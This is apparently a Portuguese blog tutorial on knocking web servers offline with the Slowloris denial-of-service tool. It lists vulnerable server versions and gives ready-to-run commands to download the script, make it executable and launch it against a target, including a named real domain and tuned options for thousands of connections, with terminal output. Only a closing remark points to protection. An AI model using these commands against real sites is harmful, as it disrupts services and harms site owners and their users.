

# Derrubando servidores com Slowloris

[10 de abril de 2015](#) / [s0ph0s](#)

Ocorreu um erro.

---

Tente assistir o vídeo em [www.youtube.com](http://www.youtube.com), ou ative o JavaScript caso ele esteja desativado em seu navegador.

O **Slowloris** é uma poderosa ferramenta utilizada como ataque de negação de serviço, podendo derrubar ou deixar lento a conexão de um servidor devido a taxa de conexão emitida a um alvo.

Para que entenda seu funcionamento, ele age da seguinte maneira: Slowloris envia através de um processo multi-thread varias requisições parciais ao servidor Web alvo, que não são completadas. Servidores como o apache, mantém por um determinado tempo as conexões TCP que ao sobrecarregar o servidor ele não valida todas essas requisições maliciosas ao mesmo tempo ficando em ciclo até sobrecarregar o servidor. A técnica atinge a camada 7 da aplicação que refere ao modelo OSI, podendo acarretar num queda de conexão dos usuários com o servidor ou uma lentidão ao acessar as páginas do site.

## Servidores Vulneráveis:

- Apache 1.x.x.
- Apache 2.x.x (até 2.2.22)
- Dhttpd

## Servidores não Vulneráveis:

- IIS6.0
- IIS7.0
- Lighttpd
- Nginx
- Cherokee
- Squid

## Instalando e executando o Slowloris

Abra o terminal e digite o seguinte comando para fazendo o download dele:

```
wget http://ha.ckers.org/slowloris/slowloris.pl
```

```
root@LaboratorioHacker: ~  
Arquivo  Editar  Ver  Pesquisar  Terminal  Ajuda  
root@LaboratorioHacker:~# wget http://ha.ckers.org/slowloris/slowloris.pl  
--2014-10-10 18:45:21--  http://ha.ckers.org/slowloris/slowloris.pl  
Resolvendo ha.ckers.org (ha.ckers.org)... 72.250.204.200  
Conectando-se a ha.ckers.org (ha.ckers.org)|72.250.204.200|:80... conectado.  
A requisição HTTP foi enviada, aguardando resposta... 200 OK  
Tamanho: 18883 (18K) [text/plain]  
Salvando em: "slowloris.pl.3"  
  
100%[=====>] 18.883  
2014-10-10 18:45:23 (24,7 KB/s) - "slowloris.pl.3" salvo [18883/18883]  
root@LaboratorioHacker:~#
```

E agora comando para dar privilégio de acesso ao arquivo :

```
#chmod 777 slowloris.pl
```

```
root@LaboratorioHacker: ~  
Arquivo  Editar  Ver  Pesquisar  Terminal  Ajuda  
root@LaboratorioHacker:~# chmod 777 slowloris.pl  
root@LaboratorioHacker:~#
```

Agora executamos ele com simples comando para atacar o alvo:

```
./slowloris.pl -dns www.cienciahacker.com.br
```

Ou podemos usar um comando mais rebuscado, setando as opções:

```
# slowloris.pl -dns www.sitealvocom.br -port 80 -timeout 5 -num 5000 -cache
```

**-dns** = Indica o alvo, podendo ser um IP ou uma URL.

**-port = Porta para o ataque.**


**-timeout = Tempo de espera entre cada ataque**

**-num** = Número de pacotes que serão enviado.

[illegible]

Para CANCELAR o ataque aperte **Ctrl + C**

```
root@LaboratorioHacker: ~  
Arquivo Editar Ver Pesquisar Terminal Ajuda  
.....:cCCCCCooc:c0888@8888000C000Cooc:::ccc::cc:::coocccc  
.....:coCCCCCCC08800008000CCooCCCooccc:::ccc:::ccocccc:co  
.....:oCCooooC00CC0CCCoocococc:::coc:::ccccc:cooo  
. . . . . coocoooCCoco:::cccccc::ccc:::cc:::coC  
. . . . . :cccCooc!.. :ccc::c!.. :c:ccc  
. . . . . :ccc::ccc::ccc::ccc::ccc  
. . . . . :ccc::cccoc!: .. :ccccc:ccc  
Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client  
Defaulting to port 80.  
Defaulting to a 5 second tcp connection timeout.  
Defaulting to a 100 second re-try timeout.  
Defaulting to 1000 connections.  
Multithreading enabled.  
Connecting to www.sitealvo.com:80 every 100 seconds with 1000 sockets:  
Building sockets.  
Building sockets.  
Building sockets.  
Building sockets.  
Building sockets.  
Building sockets.  
Building sockets.  
Building sockets.  
Building sockets.  
Building sockets.  
Building sockets.  
Building sockets.  
Building sockets.  
Building sockets.  
Building sockets.  
Building sockets.  
Building sockets.  
Building sockets.  
Building sockets.  
Building sockets.
```



KALI LINUX

The quieter you become, the more you are able to hear.

**Nota:** Agora nota-se o tanto de pacote que são enviado para o servidor, alguns casos é possível derrubar um servidor apenas com uma 3G, porém para que tenha sucesso no ataque depende também se o alvo não tem o Modulo Anti\_Apache que corrige essa vulnerabilidade. No vídeo no começo do tutorial ensina a fazer todo o processo e como proteger seu servidor.